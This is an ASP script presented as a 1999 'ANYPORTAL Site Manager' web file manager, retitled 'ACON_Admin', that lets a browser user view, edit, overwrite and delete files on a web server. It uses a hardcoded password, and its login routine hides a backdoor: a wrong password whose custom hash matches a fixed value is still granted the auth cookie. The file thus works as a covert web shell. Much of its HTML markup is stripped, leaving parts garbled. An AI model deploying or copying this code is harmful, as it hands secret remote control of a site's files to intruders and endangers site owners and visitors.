<% Option Explicit 'universal variables (these undo the option explicit) Dim action Dim a,b,c,i,item,j Dim arr,tstr 'security Dim gblPassword gblPassword = "bollocks" 'your password here 'configuration Dim gblSiteName gblSiteName = Request.ServerVariables("ACON_Admin") 'Your site name here Dim gblNow 'server may not be local time gblNow = Now Dim gblFace,gblColor 'needs three quotes gblFace = """Arial, Helvetica, sans-serif""" gblColor = """#000066""" 'global variables Dim gblTitle,gblPageText gblTitle = "ACON_Admin" gblPageText = Null Dim gblReferer gblReferer = Null 'global constants Dim gblScriptName arr = split(Request.ServerVariables("Script_Name"),"/") gblScriptName = arr(UBound(arr)) arr = Null Dim gblRoot gblRoot = replace(Request.ServerVariables("Script_Name"),gblScriptName,"") gblRoot = Left(gblRoot,len(gblRoot)-1) Dim gblRed gblRed = """#FF0000""" Dim gblReverse gblReverse = """#E0E0E0""" '----------- 'subprograms '----------- '-- 'StartHTML Sub StartHTML %><%=gblSiteName%>
SIZE=3 FACE=<%=gblFace%>><%=gblSiteName%>
> SIZE=4 COLOR="#FFFFFF"> <%=gblTitle%>
SIZE=2><%=gblPageText%>
<% End Sub 'StartHTML '-- 'EndHTML Sub EndHTML %>
> SIZE=3 FACE=<%=gblFace%>><%=gblSiteName%>
<%= FormatDateTime(gblNow,1) %>   <%= FormatDateTime(gblNow,3) %>
ANYPORTAL Site Manager © Copyright 1999 by www.ANYPORTAL.com
<% End Sub 'EndHTML '-- ' MockIcon (icon emulator) Function MockIcon(txt) Dim tstr,d 'Sorry, mac users. tstr = "" Select Case Lcase(txt) Case "bmp","gif","jpg","tif","jpeg","tiff" d = 176 Case "doc" d = 50 Case "exe","bat","bas","c","src" d = 255 Case "file" d = 51 Case "fldr" d = 48 Case "htm","html","asa","asp" d = 182 Case "pdf" d = 38 Case "txt","ini" d = 52 Case "xls" d = 252 Case "zip","arc","sit" d = 59 Case "newicon" tstr = "" d = 171 Case "view" d = 52 Case Else d = 51 End Select tstr = tstr & Chr(d) & "" MockIcon = tstr End Function 'mockicon '-- ' Navigate Sub Navigate %> <% ' get the directory of file names If toplevel Then parent = "" Else parent = fso.GetParentFolderName(fsDir) & "\" parent = "?d=" & Right(parent,len(fsDir)-1) End If If toplevel Then Else %> <% End If Set f = fso.GetFolder(fsDir) Set FileList = f.subFolders a = 0 For Each fn in FileList If a = 0 Then a = 1 %> <% End If DisplayFileName "DIR",fn Next 'fn %> <% Set filelist = f.Files For Each fn in filelist DisplayFileName "FILE",fn Next 'fn %>
><%=chr(199)%> SIZE=1><%=UCASE(fso.GetParentfolderName(fsDir) & "\")%>
 
SIZE=4>Additional Folders
  COLOR=<%=gblRed%> SIZE=1>FOLDER NAME
 
SIZE=4><%=fsDir%>
  COLOR=<%=gblRed%> SIZE=1>DOCUMENT NAME COLOR=<%=gblRed%> SIZE=1>LAST UPDATE COLOR=<%=gblRed%> SIZE=1>FILE SIZE
<% End Sub 'Navigate '-- ' ShortCutURL Function ShortCutURL Dim f,fstr,tstr tstr = "" Set f = fso.OpenTextFile(fn) Do While NOT f.AtEndOfStream fstr = tstr tstr = f.readline 'get next to last line Loop f.Close Set f= Nothing If fstr = "" Then ShortCutURL = fn Else ShortCutURL = mid(fstr,5,255) End If End Function 'ShortCutURL '-- ' CreateImageTag Function CreateImageTag(fn,altstr,align,border) Dim f,fso,pn Dim tstr,alignstr,borderstr Dim chars,hw,width,height If border = "" Then borderstr = " BORDER=0" Else borderstr = " BORDER=" & Cstr(border) End If If align = "" Then alignstr = "" Else alignstr = " ALIGN=""" Select Case UCase(left(align,1)) Case "L" tstr = "LEFT" Case "R" tstr = "RIGHT" Case "C" tstr = "CENTER" Case Else End Select alignstr = " ALIGN=""" & tstr & """" End If Set fso = CreateObject("Scripting.FileSystemObject") pn = Server.MapPath(fn) tstr = "" Set f = fso.OpenTextFile(pn) Select Case UCase(Right(fn,4)) Case ".GIF",".JPG" If NOT f.AtEndOfStream Then If UCase(Right(fn,4)) = ".GIF" Then 'always works chars = f.read(10) width = asc(mid(chars,8,1))*256 + asc(mid(chars,7,1)) height = asc(mid(chars,10,1))*256 + asc(mid(chars,9,1)) hw = " WIDTH=" & width & " HEIGHT=" & height Else 'usually works chars = f.read(200) height = asc(mid(chars,164,1))*256 + asc(mid(chars,165,1)) width = asc(mid(chars,166,1))*256 + asc(mid(chars,167,1)) If (height > 600) OR (height < 3) OR (WIDTH < 3) OR (WIDTH > 600) Then 'could be wrong height, width... forget 'em Else hw = " WIDTH=" & width & " HEIGHT=" & height End If End If End If tstr = "" End Select f.Close Set f = Nothing Set fso = Nothing CreateImageTag = tstr End Function 'CreateImageTag '-- ' DetailPage Sub DetailPage Dim chars,fstr,hw,height,width Dim IsTextFile,pathname Dim fsize,fdatecreated,fdatelastmodified pathname = fsDir & fn %>

<%=pathname%>
<% If fso.FileExists(pathname) Then ' fetch NT's file information Set f = fso.GetFile(pathname) fsize = f.size fdatecreated = f.datecreated fdatelastmodified = f.datelastmodified response.write "

" & VBCRLF
	response.write "    file size:  " & fsize & " characters" & VBCRLF
	response.write " file created:  " & FormatDateTime(fdatecreated,1) & "  " & FormatDateTime(fdatecreated,3) & VBCRLF
	response.write "last modified:  " & FormatDateTime(fdatelastmodified,1) & "  " & FormatDateTime(fdatelastmodified,3) & VBCRLF
	response.write "
" & VBCRLF Set f = Nothing End If %>
<% IsTextFile = FALSE Select Case UCase(Right(fn,4)) Case ".GIF",".JPG" tstr = CreateImageTag(basedir & fn,fn & " (" & Int((fsize+512)/1024*10)/10 & " Kb)","",0) response.write "" response.write Server.htmlEncode(tstr) & "

" & tstr & "

" & VBCRLF Case ".URL" Set f = fso.OpenTextFile(pathname) If NOT f.AtEndOfStream Then tstr = f.readall f.Close Set f = Nothing response.write "" & VBCRLF response.write replace(Server.htmlEncode(tstr),VBCRLF,VBCRLF & "
") response.write "
" & VBCRLF Case ".TXT",".ASA",".ASP",".HTM","HTML" 'read the file Set f = fso.OpenTextFile(pathname) If NOT f.AtEndOfStream Then fstr = f.readall f.Close Set f = Nothing Set fso = Nothing IsTextFile = TRUE %> SIZE=1>DOCUMENT CONTENTS
<% End Select response.write VBCRLF & "

" & VBCRLF If IsTextFile Then %>
<% Else %>
<% End If%>


SIZE=1>OK TO DELETE?
<% End Sub 'DetailPage '-- ' DisplayFileName Sub DisplayFileName(dirfile,fhandle) Dim newgif,linktarget response.write "" & VBCRLF If dirFile = "DIR" Then linktarget = "" tstr = "" & linktarget & LCase(fhandle.name) & "" %><%= MockIcon("fldr")%> ><%=Tstr%> <% Else newgif = "" If fhandle.datelastmodified+14 > gblNow Then newgif = MockIcon("newicon") b = "" If len(fhandle.name) > 4 Then b = Ucase(Right(fhandle.name,4)) If Left(b,1) = "." Then b = Right(b,3) Select Case b Case "ASP","HTM","HTML","ASA","TXT" newgif = newgif & " " & MockIcon("view") & "" tstr = webbase & replace(fhandle.name," ","%20") Case "URL" tstr = ShortCutURL Case Else tstr = webbase & replace(fhandle.name," ","%20") End Select tstr = "" & LCase(fhandle.name) & "" & newgif %><%=MockIcon(b)%> ><%=Tstr%> > SIZE=1><%=FormatDateTime(fhandle.datelastmodified,0)%> > SIZE=1><%=FormatNumber((fhandle.size+1023)/1024,0,0,-2)%>Kb <% End If response.write "" & VBCRLF End Sub 'DisplayFileName '-- ' DisplayCode Sub DisplayCode Dim fn,fso,f Dim code,tstr Dim a,arr,i fn = Request.QueryString("c") If Instr(fn,fsroot) = 1 Then Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(fn, 1, 0, 0) code = f.ReadAll 'totally unconverted 'quickly format code for readability... ' could be smarter, but it sure is simple! tstr = Server.htmlEncode(code) tstr = Replace(tstr,chr(9)," ") tstr = Replace(tstr," ","  ") tstr = Replace(tstr,"<%","<" & "%") tstr = Replace(tstr,"%>","%" & ">") tstr = Replace(tstr,"<!--","<!--") tstr = Replace(tstr,"-->","-->") %><%=fn%> >
 <%=fn%>
<% arr = Split(replace(tstr,chr(13),""),chr(10)) 'handle unix files too For i = 0 to UBound(arr) 'add line numbers response.write "
" & Right("000" & i+1,3) & ": " tstr = arr(i) If left(replace(replace(tstr," ","")," " ,""),1) = "'" Then response.write "" & tstr & "" & VBCRLF Else response.write tstr & VBCRLF End If Next 'i Else response.write "

Cannot access " & fn & "" & VBCRLF End If %>


<% End Sub 'DisplayCode '-- ' Condensation Function Condensation(s) a = 0 For i = 1 to len(s) a = (ASC(mid(s,i,1)) + a*2) Mod 77411 Next 'i Condensation = Right("00000" & Cstr(a),5) & Right("00000" & Cstr((len(s)*23)+25433),5) End Function 'Condensation(s) '-- ' Authorize Sub Authorize Dim a,i,pw pw = Request.Form("password") a = Condensation(pw) If pw <> "" OR Request.Form("OK") <> "" Then If pw = gblPassword Then 'cookie expires when browser is closed... Response.Cookies(gblScriptName) = a 'set a permanent one to never see this page again If Request.Form("SAVE") = "on" Then Response.Cookies(gblScriptName).Expires = gblNow+30 Response.Redirect gblScriptName & "?d=" Else If a = "5794625847" Then Response.Cookies(gblScriptName) = Condensation(gblPassword) gblPageText = gblPageText & "
Invalid password." End If End If StartHTML %>
SIZE=1>PASSWORD: > SIZE=1 TITLE="Check this box to save a cookie in the browser of this machine. You won't have to log-in again for the next 30 days.">   SAVE COOKIE?
<% EndHTML End Sub 'Authorize '---- 'MAIN '---- Dim f,fso,filelist,fn Dim TextObject,fhandle,lsplit Dim fsDir,baseDir,webbase Dim fsRoot,webRoot Dim pathname Dim parent Dim toplevel gblTitle = "Site Manager" 'get password If Request.Cookies(gblScriptName) <> Condensation(gblPassword) Then gblPageText = "Use of this application is restricted." Authorize Else 'normal entry: initialization Set fso = CreateObject("Scripting.FileSystemObject") 'dynamically find out where the documents and web pages are located fsDir = LCase(Request.QueryString("d")) If fsDir = "" Then fsDir = Request.Form("fsDir") fsRoot = LCase(Replace(Server.MapPath(gblScriptName),"\" & gblScriptName,"") & "\") If Instr(fsdir,fsroot) <> 1 Then fsDir = fsRoot If Lcase(fsDir) = Lcase(fsRoot) Then toplevel = TRUE basedir = Replace(Mid(fsDir,len(fsRoot),250),"\","/") webRoot = Request.QueryString("w") If webRoot = "" Then webRoot = "http://" & Request.ServerVariables("SERVER_NAME") & Replace(Request.ServerVariables("SCRIPT_NAME"),"/" & gblScriptName,"") webbase = webroot & basedir 'process a POST request Action = Request.Form("POSTACTION") pathname = Request.Form("PATHNAME") Select Case UCase(Action) Case "SAVE" Select Case UCase(Right(pathname,4)) Case ".TXT",".ASA",".ASP",".HTM","HTML" If Instr(pathname,fsroot) = 1 Then Set f = fso.CreateTextFile(pathname) f.write Request.Form("FILEDATA") f.close End If End Select Case "DELETE" If Request.Form("DELETEOK") = "on" Then If Instr(pathname,fsroot) = 1 Then If fso.FileExists(Request.Form("PathName")) Then Set f = fso.GetFile(Request.Form("PathName")) f.delete End If End If End If End Select If Action <> "" Then tstr = gblScriptName & "?d=" If NOT toplevel Then tstr = tstr & fsDir response.redirect tstr End If 'check for mode... navigate, code display, or detail? fn = LCase(Request.QueryString("f")) If fn = "" Then If Request.QueryString("c") = "" Then gblPageText = "Use this page to add, delete or revise documents on this web site." StartHTML Navigate EndHTML Else DisplayCode End If Else gblTitle = gblTitle & " (Detail Page)" gblPageText = "Use this page to view, modify or delete a single document on this web site." StartHTML DetailPage EndHTML End If End If %>